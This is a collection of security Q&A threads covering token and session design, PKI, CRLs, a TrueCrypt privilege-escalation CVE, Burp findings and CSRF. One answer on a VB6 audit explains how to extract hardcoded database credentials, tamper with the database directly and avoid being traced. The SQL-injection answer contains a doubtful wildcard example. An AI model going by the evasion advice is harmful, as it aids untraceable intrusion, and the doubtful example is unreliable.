How to properly create a password reset token? I searched for a long time, and never really find any articles or posts that fully explain how a password reset token should be created.

What I know so far:

It should be random.
Its hash should be stored in the database.
It should expire after some time.

What I'm not too sure about:

Should I use a cryptographic method to create the random token? Is Node's crypto.randomBytes enough?
Should I use a cryptographic method (e.g., bcrypt) to hash the token?
Should I include certain information (i.e., expiry time, UUID, etc.) in the token? If yes, is JWT a good way?

I imagine the whole process would look something like this:

Create a random token.
Hash the token and store the hash in the database.
Send the token in plain text to the client.
Once it is used, or if it is not used after a certain time limit, delete it from the database.
When a token in used, check if its hash matches any from the database.
If matched, allow user to reset password. Otherwise, disallow the process.

Password reset tokens aren't very much like passwords. They're short-lived, single-use, and - most relevantly here - machine generated and non-memorable.

You absolutely must use a cryptographically secure random number generator to produce the token. crypto.randomBytes is good enough, yes. Make sure the token is long enough; something on the order of 16 bytes (128 bits) should work.
Because the "preimage" (the value fed into the hash function, in this case the token) is random, there's no need to use a slow hash. Slow hashes are for brute-force protection, because passwords suck and usually don't take long (in machine terms) to guess; 128-bit random values are not brute-forceable for any practical meaning of the term. Just do a single round of SHA-256 or similar.
Bad idea; it just complicates things. Store all that stuff in the DB instead. Yes, you could do it statelessly by putting it in a JWT, but the DB makes much more sense:

You'll need to interact with the DB anyhow, to reset the password.
You'll need to bypass any caching anyhow; even if you have a distributed system they'll all need to see this change so there's no point making it stateless.
You only need to do one DB read to verify the token (both that its value is correct and that it hasn't expired yet, which can be done in a single query), which is a relatively rare event; it's not like needing to do a session token lookup on every request.
JWTs have expiry but there's no convenient way to make them single-use (you have to store state saying "these JWTs are no longer valid" on the server until each one expires, which kind of misses the point of JWTs.) Password reset tokens stored in the DB can (and should) be made single-use by deleting them upon verification.
You can have a cleanup task that goes through and periodically removes expired tokens (that were never used), if you want. They don't take up that much space in the DB, though (a hash digest and a timestamp on each user, if you only want one per user valid at a time, or a hash digest, a timestamp, and a foreign key into the Users table if you want to allow multiple tokens to be valid at once for a user; both have advantages and disadvantages).
JWTs have more potential vulnerabilities (somebody steals your signing key, somebody discovers that the key was generated insecurely and hasn't been rotated since the bug was fixed, your JWT library is vulnerable to key or algorithm confusion, etc.) compared to just checking the DB (which is vulnerable to basically nothing except SQLi, I guess, which hopefully you know how to avoid).

Your basic process makes sense.


Choosing a session ID algorithm for a client-server relationship I am developing an application which has a client-server relationship, and I am having trouble deciding on the algorithm by which the session identifier is determined.  My goal is to restrict imposters from acquiring other users' private data.

I'm considering two options:

Option 1: Generate a random 32-character hex string, store it in a database, and pass it from the server to the client upon successful client login.  The client then stores this identifier and uses it in any future request to the server, which would cross-check it with the stored identifier.

Option 2: Create a hash from a combination of the session's start time and the client's login username and/or hashed password and use it for all future requests to the server.  The session hash would be stored in a database upon the first request, and cross-checked for any future request from the client.

Other info: Multiple clients can be connected from the same IP simultaneously, and no two clients should have the same session identifier.

Question: Which of these options is a better approach, with regards to my concerns (below) about each?

My concern over the first option is that the identifier is completely random and therefore could be replicated by chance (although it's a 1 in a 3.4 * 1038 chance), and used to "steal" one user's (who would also need to be using the client at the time) private data.

My concern over the second option is that it has a security flaw, namely that if a user's hashed password is intercepted somehow, the entire session hash could be duped and the user's private data could be stolen.

Thanks for any and all input.

The basic concept of a session identifier is that it is a short-lived secret name for the session, a dynamic relationship which is under the control of the server (i.e. under the control of your code). It is up to you to decide when sessions starts and stop. The two security characteristics of a successful session identifier generation algorithm are:

No two distinct sessions shall have the same identifier, with overwhelming probability.
It should not be computationally feasible to "hit" a session identifier when trying random ones, with non-negligible probability.

These two properties are achieved with a random session ID of at least, say, 16 bytes (32 characters with hexadecimal representation), provided that the generator is a cryptographically strong PRNG (/dev/urandom on Unix-like systems, CryptGenRandom() on Windows/Win32, RNGCryptoServiceProvider on .NET...). Since you also store the session ID in a database server side, you could check for duplicates, and indeed your database will probably do it for you (you will want this ID to be an index key), but that's still time wasted because the probability is very low. Consider that every time you get out of your house, you are betting on the idea that you will not get struck by lightning. Getting killed by lightning has probability about 3*10-10 per day (really). That's a life threatening risk, your own life, to be precise. And yet you dismiss that risk, without ever thinking about it. What sense does it make, then, to worry about session ID collisions which are millions of times less probable, and would not kill anybody if they occurred ?

There is little point in throwing an extra hash function in the thing. Properly applied randomness will already give you all the uniqueness you need. Added complexity can only result in added weaknesses.

Cryptographic functions are relevant in a scenario where you not only want to have session, but you also want to avoid any server-based storage cost; say, you have no database on the server. This kind of state offloading requires a MAC and possibly encryption (see this answer for some details).


How does ISP intercept web traffic? My question originates from following articles:

http://www.theregister.co.uk/2016/07/14/cloudflare_investigating_mystery_interception_of_site_traffic_across_india/

and

https://medium.com/@karthikb351/airtel-is-sniffing-and-censoring-cloudflares-traffic-in-india-and-they-don-t-even-know-it-90935f7f6d98#.zduskeffu

I wanted to understand how does ISP intercept web traffic? Do they block DNS request? However, this can be circumvented with using different DNS servers. OR Do they block http get requests? I have no knowledge of traffic interception, however; I feel this is the most plausible method.

My reason for stating the above is because whenever I try to visit a website blocked (or redirected to a block page) by my ISP it is usually a http request. If I add https in the URL the website appears and I have access to it.

For example: http://websitename.com – blocked https://websitename.com – full access.

Thanks!

The ISP can intercept traffic in any number of ways, from a proxy (like you suggest, though I would suspect a transparent proxy), to a span port on a switch. If they have control over a link in the chain between you and the Internet, they can see anything that passes through it. If it's encrypted data, the ISP can use an SSL inspector (like this), but that would be pretty obvious to you.

In reference to filtering, if your ISP is filtering based on the content of the website you're viewing (keywords, for example), or the destination (host, http resource), then making that request over SSL will inhibit their ability to see what you're requesting and from whom. They can still see your initial DNS request and the IP address that your request is sent to on the network layer however.


openssl verify signature For S/MIME, I now know I can verify PKCS#7 detached signatures with:

openssl smime -verify -in detachedsign.pem -content content.txt

But what about non-MIME messages?
So if I sign the message Hello, World! with openssl smime -sign -text.... it will actually be signing

Content-Type: plain/text

Hello, World!

Is it possible to use openssl to sign a normal text file (as it is)? When -sign outputs a PKCS#7 detached signature and -verify accepts a PKCS#7 detached signature and content

Yes, you can use OpenSSL to create and sign a message digest of the plain text file and later use that signed digest to confirm the validity of the text.

  openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt

and later verify the validity of the text message using

  openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt

Check out the O'Reilly book Network Security with OpenSSL for a good documentation source for these functions.  The example above came from that book.


Verifying the authenticity of a public key without manual intervention? In RSA encryption it is said that ensuring the authenticity of the public key can be as important as the protection of the private key.

An effective way of doing this is to have key custodians receiving the key (KC2) manually confirm the fingerprint of the public key with the original owner (KC1) of the public key via telephone or similar.

One could use a different public key (PK2) to sign the original public key PK1), but then the same issue arises in verifying the second public keys authenticity.

Are there any methods to avoid this manual intervention of public key verification?

You are talking about public key infrastructure.  This is why certificate authorities and webs of trust exist.  You have to have some trusted party to verify the certificate (public key).  Verification occurs by signing the certificate using a private key that is trusted by the person the public certificate is going to be shared with.

This can either be a central trusted CA (either a third party or an internal CA for an organization which everyone agrees to trust) or it can be a web of trust where multiple people sign the certificate when they verify the information and trust is established based on how much you trust the people that signed it.  The exact schemes can vary from one web of trust to another, but at the simplest, if I trust Bob and then Bob trusts Carl, I can trust Carl since Carl is signed by Bob and I trust Bob.  Then if Carl trusts Dave, I can trust Dave, but perhaps a little less than I trust Carl or Bob.  There is still the manual action of originally verifying Bob, but I get Carl and Dave for free.


CRL over HTTPS: is it really a bad practice? On the Internet, I can find several statements done over the years claiming that serving a X.509 CRL over HTTPS is a bad practice because either

it causes a chicken-and-egg problem when checking for the TLS certificate and
it is simply a waste of resources, given that the CRL is by definition signed by a CA, and a non-confidential artifact.

However:

The recommended alternative is OCSP (possibly combined with the various types of stapling).
However OSCP responses are also signed by a revocable entity, whose status needs to be checked too,
so I don't understand how that solves the chicken-and-egg problem.
Perhaps, there isn't actually any chicken-and-egg problem if we assume the PKI design takes into
account the need to avoid circular dependencies for status checks.

CRLs are signed, but they still don't provide replay protection within the period of validity of the CRL itself.
In other words, you cannot reliably issue an emergency update to the CRL before its period of validity ends,
because a powerful attacker can realistically manipulate all outgoing plain HTTP requests,
and replace the new emergency CRL with the old one for that period.
HTTPS would at least prevent that up to a point.

I read also that certain implementations simply refuse to retrieve CRLs over HTTPS (Microsoft): that might be a pragmatically good reason to avoid it. However, in that way, we are also perpetuating a questionable practice.
Am I mistaken somewhere?
Isn't it time to revisit the prejudice against distributing CRLs over HTTPS?
That considering that there is a strong HTTPS-only trend ongoing and it is not unreasonable to predict that HTTP only requests might be blocked at the network level in certain environments.

I generally agree with Steffen Ulrich, I just want to add few cents, since OP references my own answer which I consider proper and valid.

However OSCP responses are also signed by a revocable entity

it's not a revocable entity. OCSP Signing certificates include id-pkix-ocsp-nocheck certificate extension that instructs clients to not check this particular certificate for revocation. Often, OCSP signing certificates don't include CDP (CRL Distribution Points) or AIA (OCSP access method) extensions in certificate. This trick removes egg and chicken problem for OCSP signing certificate.

CRLs are signed, but they still don't provide replay protection within the period of validity of the CRL itself.

that's correct. But this problem isn't solved within current X.509 profile. There are no means to provide immediate revocation response (i.e. immediately detect if particular certificate is revoked). Revocation infrastructure heavily relies on caching and even stappled OCSP response may not be very up-to-date, there may be newer responses, but server hasn't obtained it yet and use cached OCSP response to staple in TLS. As Steffen said, the only way to improve this experience is to use short-lived CRLs/OCSP responses and use clients that support CDP polling to detect if there is newer CRL than the one stored in local cache on a client.

I read also that certain implementations simply refuse to retrieve CRLs over HTTPS

Microsoft CryptoAPI behaves exactly this way in terms of CDP extension. It won't even try to connect to an URL with HTTPS scheme. It will fail the URL if server requests TLS negotiation. Don't know about other crypto frameworks, so this statement may not be applicable to other tools.
As a bottom line: I still don't see much useful reasons to implement CDP over HTTPS. CRLs is a publically distributable content -- no reason for content privacy. It is digitally signed -- no reason for extra signing. The fact that MiTM can modify CRL content over plain HTTP to purposely invalidate CRL signature isn't mitigated by TLS. MiTM can arbitrarily tamper TLS traffic to force client to reject tampered data. Same effect in both cases: denial of service and TLS doesn't solve this problem.
What can be reasonable -- to hide your activity history from men on a wire (e.g. your ISP), but yet questionable.


Can all internet traffic from a smart phone be encrypted? HTTPS and other encryption methods help prevent targeted advertising, tracking, and information theft. Tools like HTTPS Everywhere can attempt or require HTTPS in web browser connections. Are there any tools to similarly attempt or require encrypted connections throughout device internet connectivity on smart phones? If so, what are some examples, and in either case, what are some of the notable issues / limitations faced when trying to secure mobile devices from tracking, targeted advertising, and information/identity theft?

Disconnect.me, or Tor's Orbot with root mode, may be examples but I'm not sure yet if they handle the many potentially-leaky holes that come with smart phone apps. I'm also not sure how practical (using Orbot in root mode) or secure (relying on Disconnect.me's VPN) those options are, but that set of trade-offs is a whole conversation in itself.

Using a VPN to tunnel all internet traffic will encrypt the traffic until it gets to the VPN servers, after that it goes over the internet as protected as it would be without a VPN (possibly unprotected). This means that it will help secure you against local tracking (for example people listening in on the hotspot you are connected to). But it will not help against tracking on websites with banners or scripts (which is also a whole other conversation).

In order to choose which VPN to use for encrypting all data coming from your phone I would recommend having a look at this site, which compares a whole lot of VPN providers.

Tor is also an option to encrypt outgoing traffic but it is probably slower than a VPN. The data gets decrypted at the exit node and travels on from there (possibly unprotected).
This means you entrust the exit node with your internet traffic.


Hardware token vs Fingerprint based software token I'm given a choice between two banks's authentication procedures and I need help choosing the most secure and convenient option.

Option "hardware token":
Authentication into the web platform is done via username/password but transactions are performed via a combination of PIN and a onetime hardware token key.

Option "fingerprint":
Authentication into the web platform is also done via username/password but transactions are performed by authenticating into a software token app on the phone via a fingerprint and getting a onetime token key.

My understanding is that the hardware token option is more secure because phones and laptops nowadays can easily be infected with keylogging and other kinds of software to eavesdrop on my passwords. However, the fingerprint authentication is a biometric form of authentication and as far as I know can only be spoofed with a physical fingerprint and not software, thus possibly providing the same level of security.

Another weak point could possibly be the risk of stealing the software token's seed.

What do you think I should choose? Is hardware token still the way to go or is biometric identification a sane alternative in my scenario?

short: I'd go for the Hardware token.

Long version: First things first: People have proven that it is possible to tamper with fingerprints in multiple ways. Probably the most common way is to recreate it from a fingerprint with a printer, but there are more options. You can see some of them in the article 7 ways to beat fingerprint biometrics. There is a lot more than that though.

But also HW tokens have been proven "crackable". Its a little hard to tell from the little information we have. It really depends on the token.
The much more important bit in this consideration (at least for me) is this: If your HW token's seed gets stolen, you can change it. In case your fingerprint (or its digital representation) becomes publicly available your options are pretty limited.

If it really uses the fingerprint to authenticate at the system this should be your consideration. But if this is used on your phone it might just really be a token that is in your phone and secured by the OS using the fingerprint reader to replace the password. In this case your phone is your HW token but it has no proper read protected memory such as the token (should have).
In this case: I'd go for the HW token as well.


preventing SQL injection with string length This is far from best practice, but I just saw a piece of code that I found very interesting to say the least.
The code was executing some SQL, and it was not using prepared statements so it is wide open for SQL injection.

It did however have an unorthodox approach to this. It is "secure" because all input parameters are limited to 2 characters long.
And this got me thinking: is there any way an attacker can exploit this?
I will of course change the code to use prepared statements, but still, I am quite curious

It does reduce the possibility/magnitude of harm caused by SQL injection, but definitely does NOT make your application secure against it.

For example, say your field takes 2 character input, and the server runs a LIKE operation on the input. Say the user enters something like A*, which satisfies the 2-character limit, but this would result into all the records starting with character A, and depending upon the scenario, the user might have access to data which he's not supposed to.

Hence, input validation should always be done immediately after accepting the input, as well as before sending it to the user.


Bank issued new credit card as a 'safety measure' but 16 digit acount number is the same I received a new card in the mail recently. My existing card wasn't due to expire until almost two years from now. The letter that accompanied the card makes it quite clear that the card was replaced for security purposes:

  ...You are receiving this card as your account number and possibly other information regarding your credit card account may have been obtained by an unauthorized third party...

The new card has a different expiration date (but only one month later than the old card) and a new 3-digit CVV2 code. The 16-digit account number on the front of the card did not change. The letter states that the PIN did not change either.

Both the old and new cards have chips in them. This card is issued by a well-known bank in the United States. It is a credit card and not a debit card.

What are some reasons why the bank would have replaced the card without issuing a new account number?

What are some reasons why the bank would have replaced the card without issuing a new account number?

Changing account numbers is probably a pain in the ass for them and their systems, and would likely make your life more difficult as well; without having a full aliasing system, statements, billing, etc. would all have to transfer over.  Knowing the quality of software in the financial world, it's unlikely this would be a smooth experience.

While your account number is considered sensitive information, it needs to be combined with the CVV, PIN, or EMV data to make purchases.  Apparently, the bank doesn't believe the likelihood of your card number being stolen and an attacker brute-forcing your new CVV and passing their fraud detection systems to cost them more than the support costs of forcing an account number change.  If we look at that as an equation:

(chance_number_is_stolen * chance_successful_brute_force * chance_pass_fraud) * dollars_lost_to_fraudent_card_usage <= dollars_lost_to_support

it could be that any of the numbers on the left side are smaller than you think, or the number on the right side is larger than you anticipate.

In the end, it almost always comes down to money.


I feel like it's impossible to learn reverse engineering I know how to use most of the tools in Kali like msfvenom and msfconsole and I can safely call myself a script kiddie.
I learned the basics of C# and that helps me understand some of the things in C, but I still get easily lost.
I know the basics of assembly like mov xor add jmp cmp etc but it's hard for me to follow the flow of actual code and I most likely won't be able to make a pseudo C code from an assembly program

I want to stop being a script kiddie and start being better, not to make a career of it, but just because I like the whole concept of programming tools, finding exploits, and taking advantage of holes in the system.

I started following this book "The Shellcoder's Handbook" and read the first 4-5 chapters. I kind of get the idea and concept but it's very hard for me to follow what's actually happening.

I've been studying for 8 hours every day following the book and similar videos, yet I don't feel much improvement.

Is my method wrong?

Am I just starting from a bad place?

Is it better to learn every command in python/C and overall the languages or should I learn them while studying books and videos like these since I'm pretty good at C# (or so I believe)?

Is it normal to hardly understand these things? I mean, I can understand how a shell script works, for example, but I can't make one myself if left alone to code it.

So let me preface this with "I'm not implying you're a child"

Often when I teach kids about CIS and they hear what I do for a living, the first question is

"How do I hack?"

I'll tell you the same thing I tell them. Hacking isn't a thing you learn as much as it is the result of years of experience in a series of topics that relate to security.

Often you'll find people break into the security field coming from software backgrounds and network backgrounds. I started on my security path a few years ago by attending defcon, derbycon, and other security related events. I learned that if I wanted to do it professionally then I needed to dig deeper. I learned there was no magic knowledge that made you a security professional. Just hard work and learning about what it takes to make things secure.

After building lots of Arduino projects, setting up lots of webservers from scratch, building lots of websites from the database up, taking (and failing mind you) my OSCP, I finally got to a point where I felt comfortable calling myself a security software engineer. The company I worked at during that time had a security champion program for engineers. They gave a single team member more advanced security training to be the team security engineer. I did that and I loved it.

About a year and a half ago I took the leap and got a job building intrusion detection software and I love it. Most of my work is standard coding but I do get to apply my security knowledge on a regular basis in various ways.

I guess my long winded point is, keep learning. You're doing it the right way by learning different technologies. Check out my blog https://www.DotNetRussell.com and you can see the projects I did that led me to where I'm at now.

Keep learning. As mentioned in the comments, security is hard. That's why there's such a demand for it! It's really rare that it comes easy to people. The people that you see that are experts in the field are there because they spent years and years grinding that hard knowledge.


Security risks of file shares vs ssh or sftp, in "backward" direction? I work for a municipal government, using mostly Windows servers. In recent days several similar governments in our geographic area have been attacked, some successfully, by ransomware. So our security folks are alarmed, and have decreed (among other things) no more using SMB file-sharing to upload files from the "internal" network to the DMZ. I have a PowerShell script that does just that, to migrate databases; plus we have many other cases to use file shares such as uploading web sites.

They are saying we need to convert to using SSH or SFTP to transfer files. OK, this would be possible, but it would need setup work on every DMZ server, and changing all our current processes, and for what? (We don't have enough people to do that plus everything else, although we've tried to get more warm bodies budgeted.) Anyway I don't see how that's more secure. If DMZ server D is listening on a share, and the firewall prevents access from anywhere but authorized internal workstations or servers A, B, and C, then how can that be any more a security risk (specifically, the risk of malware on server D going back the other way and compromising A, B, or C) than server D listening on an SFTP port or an SSH port, with the same firewall restrictions?

If the issue is something like "the file share is open all the time, but SSH isn't," then that would be somewhat understandable, and we might deal with that by mapping and unmapping to the shares when needed. But I don't think this is their reasoning; I think it's something else. Actually I get the impression it's kind of a vague "feeling" on their part, that file shares are inherently and materially less secure, in the "backward" direction, even if firewall-protected as described above. If this is actually so, then why? I just don't see it. Actually I don't see why any of those protocols would pose a risk in the "backward" direction.

To clarify, there are two things to consider: (1) a regular user having a drive mapped all the time, and (2) an automated script or other situation where the share is accessed briefly, and then any mapping is removed. I do have to consider both situations but primarily, right now, I'm referring to (2). Case (1) would not ordinarily be used to access the DMZ.

The real question is how does ransom ware spread. This might seem counter intuitive, but over the last two decades there have been numerous problems with SMB that have resulted in worms, ransomware, and all kinds of crazy stuff taking down networks of interconnected systems. Your logic might be right (that your workstation can push data to the server, but the server cannot push data to the workstation), but there are other things.

You don't have to map a drive to a drive letter to connect to a remote host. //server-name/path/to/folder is another technique. Then it's all about the permissions, the other shares.

If you were to turn off network ports on the firewall to block SMB, and you were to turn off all the shares, you could finally kill SMB file sharing. That would be fantastic.

But you'd need a way to share files. SSH is an authenticated mechanism that doesn't necessarily rely on active directory and there are not 20+ years of backwards compatibility baked into it. Oh, i forgot to motion that a current windows system can still communicate with a windows system from 20 years ago, and in there lies a ton of potential bugs and weird configuration settings that might leave your network fairly insecure.

It might be time to stop updating the databases, turn off SMB, and install SSH on the systems instead. It's a valid path forward.


Is there any way for server side to verify the application integrity during OAuth2 workflow During OAuth2 PKCE workflow, the native application (installed on Android/iOS device) issues the authorize request to server and exchange the OAuthtokens.

For server side, is there any way that we can check the authorize request is really issued from a trusted application? I mean server to check the application integrity?

Regardless of OAuth2 PKCE flow or any other flow, the question boils down to "can the server check the application integrity?". The answer to this question is simply NO.

The application resides in user land, meaning that an attacker has full control over the application. The attacker can install it on his device, patch it, dynamically change its behaviour (hooking) or change values in-memory etc...

The only thing you can do is to make it hard for an attacker to mess with your application. A few counter measures are:

Root/jailbreak detection.
Code obfuscation: includes obfuscating method/variable names, control flow obfuscation etc...
Something called Runtime Application Self Protection (RASP): this usually includes hook detection & debugging detection.
Encryption: for example in Android it's possible to dynamically load a DEX file, some apps load an encrypted DEX file in memory and decrypt it.
Device finger printing: check for example if device is run inside emulator.

The above counter measures can be implemented in different ways. There are products out there that can do this for you. In the end, it is possible to bypass all such measures but it requires some effort. The question usually boils down to threat modeling: What are you trying to protect? How much do you want to spend on such solutions? What can an attacker achieve if these solutions are bypassed? How easy/hard is it?

Also don't forget about communication hardening. You can implement all above measures but an attacker can for example also use a mitm proxy like Burp to intercept and change data in transit. So using TLS everywhere might be a given, but don't forget about hardening measures such as TLS-pinning. To be honest, this is easy to bypass if you ask me. I've seen some people get creative and do stuff such as: encrypting and signing the payloads sent to the server, using binary protocols instead of HTTP and much more.

Remember, at the end of the day, a motivated attacker can overcome all these hurdles.


Changing windows client form values at runtime I am performing a code audit of an older VB6 application which uses dynamically constructed SQL to execute against the database. While I see this as a SQL injection point, the developer contends that since all the values are in drop-down boxes pulled from the database & there is no user input for these items, there is no risk.

Of course this is trivial for a web app; this question is specifically for applications built using windows forms (VB6/VB.NET/C# client>server type applications). I also realize that if the client can send a SQL string, so can the user (not so SQL injection as poor access control in this case).

I'm looking for a proof-of-concept type of answer (or toolkit) that would allow me to change the windows form values of the running application. Are there any readily available tools, or would this require direct memory manipulation?

First of all, direct answer to your specific question: take a look at DDE, this can cause the VB form to change almost anything at runtime.

However, I have a better answer for you:
Odds are the VB client app is not using an encrypted protocol (such as SSL) - you can just intercept the network communications, and alter it on the wire. Or, just craft your own messages and send them to the server yourself. It's a bit fiddly, but not too difficult. Or just use something like OllyDbg to grab the data before it goes down to the wires.
(Btw, either way, even if they do encrypt the channel you should be able to get around that, since its encrypted on your client. It is a bit trickier, but still not too difficult. And if you go for OllyDbg the channel encryption is irrelevant.)
In this way it will be possible to perform your SQL Injection, and not even too difficult.

Now, I have an even better answer for you - don't even bother with SQL Injection.
It is very likely, given the simplistic architecture that was common back in VB6 apps, that your client app talks directly to the database. (On the off chance that there is an intermediate server app, this part won't help you).
If that's the case, that means that somewhere in the client app (possibly hardcoded), there are credentials to access the database directly. (If you can't find them, grab them using the previous techniques).
Once you have these credentials - just go directly to the database, using the database vendor's management tool, and have your way with it. The app does not need to be in your way at all.
Not only can you do anything you want with the data and tables, there will be no way to trace this back to you. In fact, it's highly unlikely that it will be possible to prove that anyone did anything wrong... (well, except for the missing data...)


Javascript http to https redirect - how vulnerable/how secure? If I had a website http://site.com redirecting to https://site.com via javascript (with a HTTP/1.1 403 Forbidden), what are the attack vectors I could be vulnerable too?

Why is this not a good practise? (and the preferred way is to do a 301 from the server side)

ok SEO while a 301 is preferred for the search bots.
disable the script in the browser, you are stuck

anything else?

For onething, according to me, a session fixation through MITM is not possible at least because all the raw response gives me is as below. There is no cookie, whatsoever.

<html>
<head><title>hussh...</title></head>
<script language="JavaScript">
function redrToHttps()
{
 var httpURL= window.location.hostname + window.location.pathname + window.location.search;
 var httpsURL= "https://" + httpURL;
 window.location = httpsURL;
}
 redrToHttps();
</script>
<body>

I do not know why a lot of tutorials on the internet advise you to do it via javascript, while a 301 permanent is a perfect choice. AFAIK, I could not find an attack vector in this form of redirect via javascript with 403 header.

Am I missing something? Are there any attack vectors that I could be up against in the future? Why is this not the recommended way?

Edit:

May be I forgot to mention why I posted this question. I have already raised a flag to use HSTS, it was missing in the website in question. My concern is, the people that developed this application followed the first link in google (back then, when they developed) to make this http to https redirection via javascript. Honestly, this is the first time I saw a http to https redirect for all pages of the application via javascript. I don't have to tell you how bad, and stupid the javascript https redirect sounds even at the outset. But I looked at raw response, there was a 403 which is fine (hey, you are forbidden), although not the best way of doing it.

The site never serves any information over http. It always uses the javascript to do the redirection make a new request. Too bad. I get it. May be your answers/thoughts about how susceptible this could be, would me help sell why this is such a bad idea in terms of security.

I am afraid that this is not a possible duplicate as no question in the stackexchange network discusses the security implication of a http to https redirect via javascript in specific. Keeping the best practices apart, I would appreciate your ideas on how insecure (and why so) this approach is.

Custom client side script instructing the browser to navigate to a different page, and the browser responding to a 301 as in http://paypal.com has fundamental differences I believe. Are they any knows exploits demonstrated in this case?

Thank you.

Edit 2:
Did someone notice a 403? In IIS 6 if you had enabled require HTTPS and if you tried to access the site via HTTP and if you hadn't configured SSL properly, then that's what you would get a 403 dull error page. Old time quick fix solution is to trap a 403 in the server and return a custom error page that would contain a javascript code like i mentioned in the question. That javascript would then request the HTTPS version of the page, which is a new browser request, and not a redirect of any sort. Which is actually equivalent to a new https request. This is bad, very bad, poor implementation. But the question now is, you request a resource on http, that returns you a 403 with some java script that helps put https in the url for you and hence issuing a new https request. Not a 301/301 induced HTTPS. May be the question title says the word redirect, but now I have second thoughts about the misnomer now. To put things in perspective here is a post - http://raoulpop.com/2007/08/07/automatic-redirect-from-http-to-https/ that describes what I am saying. Very old post indeed. How is this a duplicate question?

Doing this in the browser with JavaScript is insecure and inefficient.

As you have already mentioned, if the User Agent doesn't execute JavaScript then the user is just going to be sat on your 403 Forbidden page. If you're going to return a 403 response to a user, why not just return a 301 and make some use of the response? This is a bad user experience at best and will result in people continually hitting your http URL to be redirected instead of the https one.

From a security standpoint you're opening the user up to attacks from a MiTM. If the user types in site.com without specifying a protocol, the browser will default to HTTP and make a request to http://site.com for them. If the redirect is done in JavaScript the browser will not remember. If the server responds with a 301 permanent redirect to https://site.com then the browser will cache this response. The next time the user types in site.com the browser will visit https://site.com instead of http://site.com as before. This helps mitigate various forms of SSL stripping attacks but isn't a perfect solution. Still though, it is slightly more secure.

What you could also do is issue a HSTS policy for your domain. I've gone in to some detail on what HSTS is on my blog titled "HSTS - The Missing Link In Transport Layer Security". Simply put, HSTS allows you to tell a browser to always use https with no requirement for a redirect. You still need to keep the redirects for non-compliant user agents but it's another step in the right direction.


What are the requirements for the TrueCrypt privilege escalation? The details on the TrueCrypt 7.1a (and by extension the CipherShed and VeraCrypt v1.15 and older) privilege escalation vulnerability CVE-2015-7358 are available now, including a proof-of-concept implementation of the exploit.

Now, as I don't really understand what is going on there I'd like to know who has to worry about this.

Does there need to be TrueCrypt installed onto the machine? Does the executing user needs administrator privileges to obtain system privileges via the exploit? Can one exploit this on a mobile basis with the traveller installation of TrueCrypt?

The vulnerability exists in a situation where you have TrueCrypt or one of it's forks on a computer that is a "shared" machine. For example, imagine you as Alice installed TrueCrypt 7.1a on a supported Windows Server, created a TrueCrypt volume, and then mounted it. Bob, as another user on the same server could potentially inspect the configuration of that volume and/or manipulate that volume's drive letter. It does not appear that the unencrypted contents of the volume would be directly exposed by the vulnerability. I agree with the person that reported the issue that if you are mounting TrueCrypt volumes on a shared system with other users currently logged on (or really any un-trusted process running), you have other problems to be concerned with.

For more information see https://code.google.com/p/google-security-research/issues/detail?id=537


How does Burp Suite evaluates this request as high severity with the issue "user input evaluated as code"? I just conducted an automated web scan with Burp Suite Pro. The scanner result indicated that our website had a high severity of code injection. It gave the following proof:

However, I don't understand why it interpreted like that:

"The application appears to evaluate user input as code.
It was instructed to sleep for 0 seconds, and a response time of 1.1369998455 seconds was observed.
It was then instructed to sleep for 10 seconds, which resulted in a response time of 15.8949999809 seconds"

Where to find the response which showed that the web app followed the instruction to sleep for xxx seconds? And why did it assess that the application appears to evaluate user input as code given that proof?

(I'm not specialized in web security pentest, but was assigned to do this task due to staff skeleton).

The automated scan result is showing a potentially exploitable issue. Like every other automated scan result, you would have to perform a false positive analysis.

The easiest way to analyze this would be to perform a code review to see how the affected parameter is handled server side. If this is a blackbox/ graybox security test and looking at the code is not possible, then:

You need to use the Burp proxy to replay the request using the repeater tool and manipulating the sleep time value to see if the results are consistent (see bottom right corner in repeater tab for response time). If the behavior persists you might want to try injecting some other commands to confirm this. e.g. a command that makes the host connect back to a web server controlled by you (this depends on other variables such as network access for the host).

The vulnerability is server side code injection. The scanner injected the sleep command in the password field twice and noticed that the server took a longer than usual time to respond when it was asked to sleep for 10 seconds. This indicates that command injection may be possible.


session credentials on the client I am developing an IE11 based application running on a web server inside our corporate network

The application makes calls to a 3rd party API which requires client certificates and username/password in the url. The url uses SSL. In the application I am using ajax to send url. This all seems to work. I am prompted for a certificate and credentials verification seems to work.

My concern is building a login form and persisting the user credentials if the login succeeds. The only way I can test the credentials is to run a query and see if the result string returned is marked as successful. As far as I can tell, there is no mechanism in the API to return a session token. I think I have to keep the username and password in the client session if I want to make future url calls in the session. I was thinking of using sessionStorage objects but it seems like this could be a bad idea.

I am no security expert and would appreciate any guidance on whether using sessionStorage is a reasonable approach. Is there a more secure way to do this considering the limitations of the 3rd party API?

At the end of the day, if the computer is owned by a single user AND is inside a secure network, it shouldn't be too terrible storing it as plain text. Of course, problems might arise if the user leaves his computer unattended - But since the API you're using doesn't return session keys (which is really odd...) there's no real better solution.

Additional security you could implement is protection from XSS so the credentials don't get stolen by malware, and making sure the session storage is properly deleted after a set amount of time.


Can file recovery tools recover deleted small files from SSD drive's NTFS Master File Table? According to this page and site, small files are kept in Master File Table when filesystem is NTFS.

Let's assume that computer is using Windows 10 and a SSD drive with TRIM support. If a user manually deletes a file smaller than 1kb from ssd will TRIM erase that file from MFT or is it recoverable at there?

How about the backup MFT located at the end of the partition? Will TRIM remove that small file from backup MFT?

Can file recovery tools recover erased small files from SSD drive's NTFS Master File Table?

I haven't tested this particular scenario, but I would expect that TRIM does NOT wipe small file MFT content.

TRIM wipes a deallocated (deleted) file.

The MFT is a file. Removal of a small file entry from the MFT deallocates the MFT entry header, marking it as available. The MFT file is not deleted, so TRIM would not run against an entry in the MFT.

Similarly deleted database entries on an SSD are not wiped by TRIM because the database file is never deleted.

So yes, under the right circumstances and tools, recovery is possible.


CSRF in API calls from Javascript on the browser I noticed tokens used in form submissions to prevent CSRF attacks, though in 2016 a lot of people are moving to JS frontend & restful API backends. I'm puzzled, with this approach is there no need for CSRF tokens anymore?

I think CSRF is an issue on form submissions since all the session data is sent with every request. But is AJAX different? I.e. all cookies (session data) are not sent?

You can assume my API is protected by CORS (over TLS), i.e. Access-Control-Allow-Origin is set only for the site I expect data to be collected from.

So what I am asking is: Is CORS & an AJAX API call the way to avoid generating tokens in my front end code?

IIUC only Ajax calls can set custom headers, and those are domain-restricted.

Btw CORS is not a type of protection, it is there to allow less protection (ie. let you make requests between domains)

